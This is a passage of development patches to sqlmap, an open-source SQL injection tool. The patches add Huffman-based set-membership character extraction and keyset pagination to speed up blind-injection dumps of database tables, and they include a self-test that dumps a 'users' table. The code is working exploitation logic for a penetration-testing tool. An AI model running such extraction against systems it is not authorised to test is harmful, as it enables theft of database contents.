cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 0cf171404..4fdd23cf1 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -598,7 +598,7 @@ Tag: - SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + SQLite AND boolean-based blind - WHERE or HAVING clause (JSON) 1 2 1 @@ -617,7 +617,7 @@ Tag: - SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + SQLite OR boolean-based blind - WHERE or HAVING clause (JSON) 1 3 3 diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index a6ad852cd..f71fa33e6 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -271,7 +271,7 @@ - MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR) 2 5 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index 872c2aa4f..3ab135719 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.127" +VERSION = "1.10.6.128" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 889ad435412487c25bb632bff5cfb2428e32ea29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 00:00:22 +0200 Subject: [PATCH 034/165] Adding adaptive set-membership (Huffman) retrieval for faster blind dumps --- data/txt/sha256sums.txt | 2 +- lib/core/option.py | 5 ++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 13 ++++ lib/techniques/blind/inference.py | 110 ++++++++++++++++++++++++++++++ 6 files changed, 131 insertions(+), 2 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b7f562c0d..14288ba5a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -e90183a7b5af8d5dd411cb74e3c24a9320b3194051a19abe0791fffae2b34fea lib/core/settings.py +fcb89f3b6474c6201fe2a77417c5c422e4f81a5f44567a51fb05eb6f6df22e93 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 5cb69d297..53163bc8e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2145,6 +2145,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.heuristicTest = None kb.hintValue = "" kb.htmlFp = [] + kb.huffmanModel = {} + kb.huffmanValidated = False + kb.disableHuffman = False + kb.huffmanProbes = 0 + kb.huffmanEscapes = 0 kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index af5c5ab6b..9270511c0 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -270,6 +270,7 @@ optDict = { "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", + "noHuffman": "boolean", "profile": "boolean", "forceDns": "boolean", "murphyRate": "integer", diff --git a/lib/core/settings.py b/lib/core/settings.py index 3ab135719..da96022a6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.128" +VERSION = "1.10.6.129" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 1ef639ed6..e369f19c9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -848,6 +848,9 @@ def cmdLineParser(argv=None): parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) + parser.add_argument("--no-huffman", dest="noHuffman", action="store_true", + help=SUPPRESS) # "Disable adaptive (Huffman) set-membership retrieval used by default to speed up blind table dumps" + parser.add_argument("--profile", dest="profile", action="store_true", help=SUPPRESS) @@ -866,6 +869,16 @@ def cmdLineParser(argv=None): parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) + # Experimental: dump table rows via keyset (seek) pagination on a detected indexed + # primary key instead of ORDER BY ... LIMIT/OFFSET (much cheaper on huge tables). + # --keyset forces it for any table size; --no-keyset disables it (incl. the automatic + # use on large tables), falling back to the plain LIMIT/OFFSET dump. + parser.add_argument("--keyset", dest="keyset", action="store_true", + help=SUPPRESS) + + parser.add_argument("--no-keyset", dest="noKeyset", action="store_true", + help=SUPPRESS) + parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", help=SUPPRESS) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 41c490b7f..b1ec44a8d 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission from __future__ import division +import heapq import re import time @@ -41,6 +42,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK +from lib.core.settings import HUFFMAN_PROBE_LIMIT from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_GREATER_CHAR @@ -64,6 +66,10 @@ from lib.utils.safe2bin import safecharencode from lib.utils.xrange import xrange from thirdparty import six +# Sentinel returned by the opt-in Huffman retrieval (--huffman) meaning "this character is +# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection". +_HUFFMAN_FALLBACK = object() + def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection @@ -270,6 +276,95 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return result + def huffmanChar(idx): + """ + Adaptive retrieval of a single character using set-membership ("... IN (...)") + questions driven by a Huffman tree built from an online frequency model of the data + retrieved so far (used by default for blind table dumps; '--no-huffman' disables it). + The expected number of requests approaches the + data's entropy (fewer on text/hex), while uniform/binary data yields a balanced tree + (i.e. no penalty versus the classic bisection). + + Correctness does NOT depend on the (shared, racily updated) model: the tree is a + decision tree over the whole 0..127 range plus a dedicated ESCAPE leaf. At every node + the child that does NOT contain ESCAPE is the one tested, so any value outside 0..127 + (e.g. multi-byte/Unicode) fails every membership test, lands on ESCAPE and is handed + back to the classic bisection. Returns the character, or None to fall back. + """ + ESCAPE = -1 + model = kb.huffmanModel + + heap = [] + for order, ordinal in enumerate(xrange(128)): + heapq.heappush(heap, (model.get(ordinal, 0) + 1, order, (ordinal,))) + heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,))) + + counter = 129 + while len(heap) > 1: + w1, _, n1 = heapq.heappop(heap) + w2, _, n2 = heapq.heappop(heap) + heapq.heappush(heap, (w1 + w2, counter, (n1, n2))) + counter += 1 + node = heap[0][2] + + def _concrete(n): + if len(n) == 1: + return [] if n[0] == ESCAPE else [n[0]] + return _concrete(n[0]) + _concrete(n[1]) + + def _hasEscape(n): + return n[0] == ESCAPE if len(n) == 1 else (_hasEscape(n[0]) or _hasEscape(n[1])) + + template = payload.replace("%s%s" % (INFERENCE_GREATER_CHAR, "%d"), " IN (%s)", 1) + + while len(node) == 2: + left, right = node + + if _hasEscape(left): + testNode, otherNode = right, left + elif _hasEscape(right): + testNode, otherNode = left, right + else: + leftLeaves, rightLeaves = _concrete(left), _concrete(right) + testNode, otherNode = (left, right) if len(leftLeaves) <= len(rightLeaves) else (right, left) + + testSet = _concrete(testNode) + setExpr = ','.join(str(_) for _ in testSet) + forgedPayload = safeStringFormat(template, (expressionUnescaped, idx, setExpr)) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + node = testNode if result else otherNode + + value = node[0] + + if value == ESCAPE: + model[ESCAPE] = model.get(ESCAPE, 0) + 1 + return _HUFFMAN_FALLBACK + + if value == 0: + # ORD(MID(..)) of an empty (past end-of-string) character is 0; mirror the classic + # bisection and signal end-of-string (do NOT pollute the model with the sentinel). + return None + + # One-time safety validation: cross-check the first set-membership result with a short + # equality probe. Unlike the long IN() lists, a single '=N' comparison cannot be + # truncated/mangled by a parameter-length limit or a WAF, so it is a trustworthy oracle. + # If it disagrees, the IN() channel is unreliable here: latch the technique off so the + # classic '>' bisection takes over for the rest of the run (graceful fallback). + if not kb.huffmanValidated: + verifyPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, value)) + verified = Request.queryPage(verifyPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if verified: + kb.huffmanValidated = True + else: + kb.disableHuffman = True + return _HUFFMAN_FALLBACK + + model[value] = model.get(value, 0) + 1 + return decodeIntToUnicode(value) + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's @@ -283,6 +378,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if result: return result + if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare + and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload + and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): + kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 + result = huffmanChar(idx) + if result is not _HUFFMAN_FALLBACK: + return result + # huffman declined this character (Unicode/escape, or failed the validation probe). + # If the set-membership channel keeps escaping it is not paying off here (trimmed/ + # blocked long payloads, or non-ASCII-heavy data) -> latch off so the classic '>' + # bisection takes over efficiently for the rest of the run. + kb.huffmanEscapes = (kb.huffmanEscapes or 0) + 1 + if kb.huffmanProbes >= HUFFMAN_PROBE_LIMIT and kb.huffmanEscapes * 2 >= kb.huffmanProbes: + kb.disableHuffman = True + if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) From 497d3772bd0e3c6f63e58d0d16090abfb56031be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 20 Jun 2026 00:00:40 +0200 Subject: [PATCH 035/165] Adding keyset (seek) pagination for faster blind table dumps --- data/txt/sha256sums.txt | 3 +- data/xml/queries.xml | 23 ++- lib/core/settings.py | 2 +- lib/core/testing.py | 1 + lib/utils/keysetdump.py | 312 ++++++++++++++++++++++++++++++++++++ lib/utils/pivotdumptable.py | 4 +- plugins/generic/entries.py | 25 ++- 7 files changed, 355 insertions(+), 15 deletions(-) create mode 100644 lib/utils/keysetdump.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 14288ba5a..8dc1cb622 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -fcb89f3b6474c6201fe2a77417c5c422e4f81a5f44567a51fb05eb6f6df22e93 lib/core/settings.py +8411f42e10133c779cff837c6e51698cfebe0796f93ca9e3575a5644d64a3e04 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -253,6 +253,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py +1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py 04b28ad98340a589eb9b21d014c435e8193c2bea3a21af9875b6f23c9b270f1f lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index cc26298ea..64e8823cc 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -61,7 +61,8 @@ - + + @@ -136,7 +137,8 @@ - + + @@ -207,7 +209,8 @@ - + + @@ -302,7 +305,8 @@ - + + @@ -362,7 +366,7 @@ - + @@ -726,7 +730,8 @@ - + + @@ -790,7 +795,8 @@ - + + @@ -1445,7 +1451,8 @@ - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index da96022a6..d1a9cbae9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.129" +VERSION = "1.10.6.130" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index e082dce19..a640c9779 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -84,6 +84,7 @@ def vulnTest(): ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), + ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), diff --git a/lib/utils/keysetdump.py b/lib/utils/keysetdump.py new file mode 100644 index 000000000..2b38f2c57 --- /dev/null +++ b/lib/utils/keysetdump.py @@ -0,0 +1,312 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.bigarray import BigArray +from lib.core.common import Backend +from lib.core.common import isNoneValue +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.settings import NULL +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.utils.safe2bin import safechardecode + +# back-end DBMSes whose dump table reference is schema/database-qualified (db.table). +# Note: for MSSQL the table identifier already carries its schema (e.g. dbo.users), so the +# plain db.table form yields the correct db.schema.table (e.g. [master].dbo.users). +KEYSET_SCHEMA_QUALIFIED = (DBMS.MYSQL, DBMS.PGSQL, DBMS.CRATEDB, DBMS.MSSQL, DBMS.H2, DBMS.HSQLDB) + +def _tableRef(tbl): + dbms = Backend.getIdentifiedDbms() + if dbms in (DBMS.ORACLE,) and conf.db: + return "%s.%s" % (conf.db.upper(), tbl.upper()) + if dbms in KEYSET_SCHEMA_QUALIFIED and conf.db: + return "%s.%s" % (conf.db, tbl) + return tbl + +def keysetSupported(): + """ + Whether the back-end DBMS declares the keyset (seek) pagination queries and a + cursor source (a physical row-id pseudo-column or a primary-key catalog lookup) + """ + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + return "keyset_next" in dumpNode.blind and ("rowid" in dumpNode.blind or "primary_key" in dumpNode) + +def _integerCursor(tbl, cursor): + """ + Whether every cursor column holds integer values, probed via MIN(col). + + Only integer keys are accepted: _embed() emits them as bare numeric literals, giving a + numeric comparison that matches MIN/ORDER BY. String (and even decimal) keys would be + escaped to a binary/hex literal whose order can differ from MIN's collation and silently + skip rows, so they are rejected here and fall back to the OFFSET dump. + """ + + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + ref = _tableRef(tbl) + + for column in cursor: + query = agent.whereQuery(blind.keyset_first % (agent.preprocessField(tbl, column), ref)) + value = unArrayizeValue(inject.getValue(query)) + + # empty/NULL MIN (e.g. empty table) is not disqualifying; the walk just yields no rows + if not isNoneValue(value) and re.match(r"\A-?[0-9]+\Z", getUnicode(value).strip()) is None: + return False + + return True + +def resolveKeysetCursor(tbl, colList): + """ + Returns the list of column(s) forming a stable, indexed cursor for keyset (seek) + pagination of the table: a declared physical row-id pseudo-column when available, + otherwise the indexed primary key (single or composite) resolved from the catalog. + Returns None when neither applies or a key column is not part of the dumped columns. + """ + + if not keysetSupported(): + return None + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + + # 1) a declared physical row-id pseudo-column (always unique + indexed where supported) + if "rowid" in dumpNode.blind: + return [dumpNode.blind.rowid] + + # 2) the indexed primary key (single-column, or composite when keyset_ordered is declared) + pkNode = dumpNode.primary_key + + # Note: schema/table are string literals in the catalog lookups, so the unquoted + # (identifier-unescaped) names are used (the dump queries keep the quoted form) + unsafeDb = unsafeSQLIdentificatorNaming(conf.db) + unsafeTbl = unsafeSQLIdentificatorNaming(tbl) + + # Note: no whereQuery() here - these are catalog (schema) lookups, so the data-row + # filter from --where must not be appended to them + query = pkNode.count % (unsafeDb, unsafeTbl) + count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + try: + count = int(count) + except (ValueError, TypeError): + return None + + if count < 1: + return None + + # composite keys require the row-value/ordered keyset form + if count > 1 and "keyset_ordered" not in dumpNode.blind: + return None + + cursor = [] + for index in xrange(count): + query = pkNode.query % (unsafeDb, unsafeTbl, index) + column = unArrayizeValue(inject.getValue(query)) + + if not column: + return None + + match = None + for _ in colList: + if _ and _.lower() == column.lower(): + match = _ + break + + if match is None: + return None + + cursor.append(match) + + # restrict to integer cursors: a string key's escaped-literal comparison may order + # differently than MIN/ORDER BY and silently skip rows (such keys fall back to OFFSET) + if not _integerCursor(tbl, cursor): + return None + + return cursor + +def _lit(value): + """ + Type-correct SQL literal for a cursor value: a bare numeric literal for numeric keys + (so the index is still used and the comparison is numeric), otherwise the DBMS-escaped + (e.g. 0x.. hex) form for string keys. Both forms are self-contained (no surrounding quotes). + """ + + if value is not None and re.match(r"\A-?[0-9]+\Z", value): + return value + return unescaper.escape(value, False) + +def _embed(template, value, *fixed): + """ + Fills a single-column keyset template whose trailing placeholder is the cursor value. + """ + + template = template.replace("'%s'", "%s") + return template % (fixed + (_lit(value),)) + +def _dumpSingle(tbl, colList, count, cursor, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + field = agent.preprocessField(tbl, cursor) + + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + pivotValue = None + + # hybrid: a single OFFSET jump to seed the cursor just before --start, then pure keyset + if conf.limitStart and conf.limitStart > 1 and "keyset_seed" in blind: + query = agent.whereQuery(blind.keyset_seed % (field, tableRef, field, conf.limitStart - 2)) + seed = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(seed) or seed == NULL: + return + + pivotValue = safechardecode(seed) + + produced = 0 + + while produced < target: + if pivotValue is None: + query = blind.keyset_first % (field, tableRef) + else: + query = _embed(blind.keyset_next, pivotValue, field, tableRef, field) + + query = agent.whereQuery(query) + value = unArrayizeValue(inject.getValue(query)) + + if isNoneValue(value) or value == NULL: + break + + value = safechardecode(value) + + # safety latch against a non-advancing cursor (e.g. encoding edge cases) + if value == pivotValue: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + pivotValue = value + + for column in colList: + if column == cursor: + colValue = pivotValue + else: + query = _embed(blind.keyset_by, pivotValue, agent.preprocessField(tbl, column), tableRef, field) + query = agent.whereQuery(query) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def _dumpComposite(tbl, colList, count, cursorCols, tableRef, entries, lengths): + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + fields = [agent.preprocessField(tbl, _) for _ in cursorCols] + orderExpr = ','.join(fields) + + startSkip = (conf.limitStart - 1) if conf.limitStart else 0 + if conf.limitStart and conf.limitStop: + target = max(0, conf.limitStop - conf.limitStart + 1) + elif conf.limitStop: + target = conf.limitStop + elif conf.limitStart: + target = max(0, count - conf.limitStart + 1) + else: + target = count + + prev = None + produced = 0 + seen = 0 + + while produced < target and seen < count: + if prev is None: + condition = "1=1" + else: + # ANSI row-value (tuple) comparison advances the composite cursor lexicographically + condition = "(%s)>(%s)" % (orderExpr, ','.join(_lit(_) for _ in prev)) + + tup = [] + for field in fields: + query = agent.whereQuery(blind.keyset_ordered % (field, tableRef, condition, orderExpr)) + value = unArrayizeValue(inject.getValue(query)) + tup.append(None if isNoneValue(value) else safechardecode(value)) + + if all(isNoneValue(_) for _ in tup): + break + + if prev is not None and tup == prev: + singleTimeWarnMessage("keyset cursor stopped advancing prematurely") + break + + prev = tup + seen += 1 + + if seen <= startSkip: + continue + + equals = " AND ".join("%s=%s" % (field, _lit(value)) for field, value in zip(fields, tup)) + + for column in colList: + if column in cursorCols: + colValue = tup[cursorCols.index(column)] + else: + query = agent.whereQuery(blind.keyset_where % (agent.preprocessField(tbl, column), tableRef, equals)) + colValue = unArrayizeValue(inject.getValue(query, dump=True)) + + colValue = "" if isNoneValue(colValue) else colValue + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colValue), getUnicode(colValue)))) + entries[column].append(colValue) + + produced += 1 + +def keysetDumpTable(tbl, colList, count, cursor): + """ + Dumps a table one row at a time using keyset (seek) pagination on 'cursor' (a list of + one or more indexed key columns): the next row is reached with a >/row-value comparison + against the previous cursor (index range scan) and every other column is fetched with an + exact equality on the cursor (index point seek), so no row is skipped via OFFSET and no + per-row ORDER BY filesort is needed. A deep --start uses a single OFFSET "seed" jump + (single-column cursors), after which the walk is pure keyset. + """ + + tableRef = _tableRef(tbl) + lengths = {} + entries = {} + + for column in colList: + lengths[column] = 0 + entries[column] = BigArray() + + if len(cursor) == 1: + _dumpSingle(tbl, colList, count, cursor[0], tableRef, entries, lengths) + else: + _dumpComposite(tbl, colList, count, cursor, tableRef, entries, lengths) + + debugMsg = "keyset pagination retrieved %d row(s) for table '%s'" % (len(entries[colList[0]]) if colList and colList[0] in entries else 0, unsafeSQLIdentificatorNaming(tbl)) + logger.debug(debugMsg) + + return entries, lengths diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index d1f3b9eec..b1a10adf2 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -14,6 +14,7 @@ from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue +from lib.core.common import prioritySortColumns from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming @@ -29,7 +30,6 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException -from lib.core.settings import MAX_INT from lib.core.settings import NULL from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.unescaper import unescaper @@ -71,7 +71,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): lengths[column] = 0 entries[column] = BigArray() - colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT)) + colList = prioritySortColumns(filterNone(colList)) if conf.pivotColumn: for _ in colList: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 0c6f3ea4f..917814779 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -42,12 +42,15 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB +from lib.core.settings import KEYSET_MIN_ROWS from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable +from lib.utils.keysetdump import keysetDumpTable +from lib.utils.keysetdump import resolveKeysetCursor from lib.utils.pivotdumptable import pivotDumpTable from thirdparty import six from thirdparty.six.moves import zip as _zip @@ -309,6 +312,9 @@ class Entries(object): count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # keyset (seek) pagination: forced with --keyset, automatic for large tables, off with --no-keyset + keysetCursor = resolveKeysetCursor(tbl, colList) if (not conf.noKeyset and isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS)) else None + lengths = {} entries = {} @@ -332,6 +338,19 @@ class Entries(object): continue + elif keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + try: + entries, lengths = keysetDumpTable(tbl, colList, count, keysetCursor) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): table = tbl @@ -411,17 +430,17 @@ class Entries(object): entries[column] = BigArray() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % 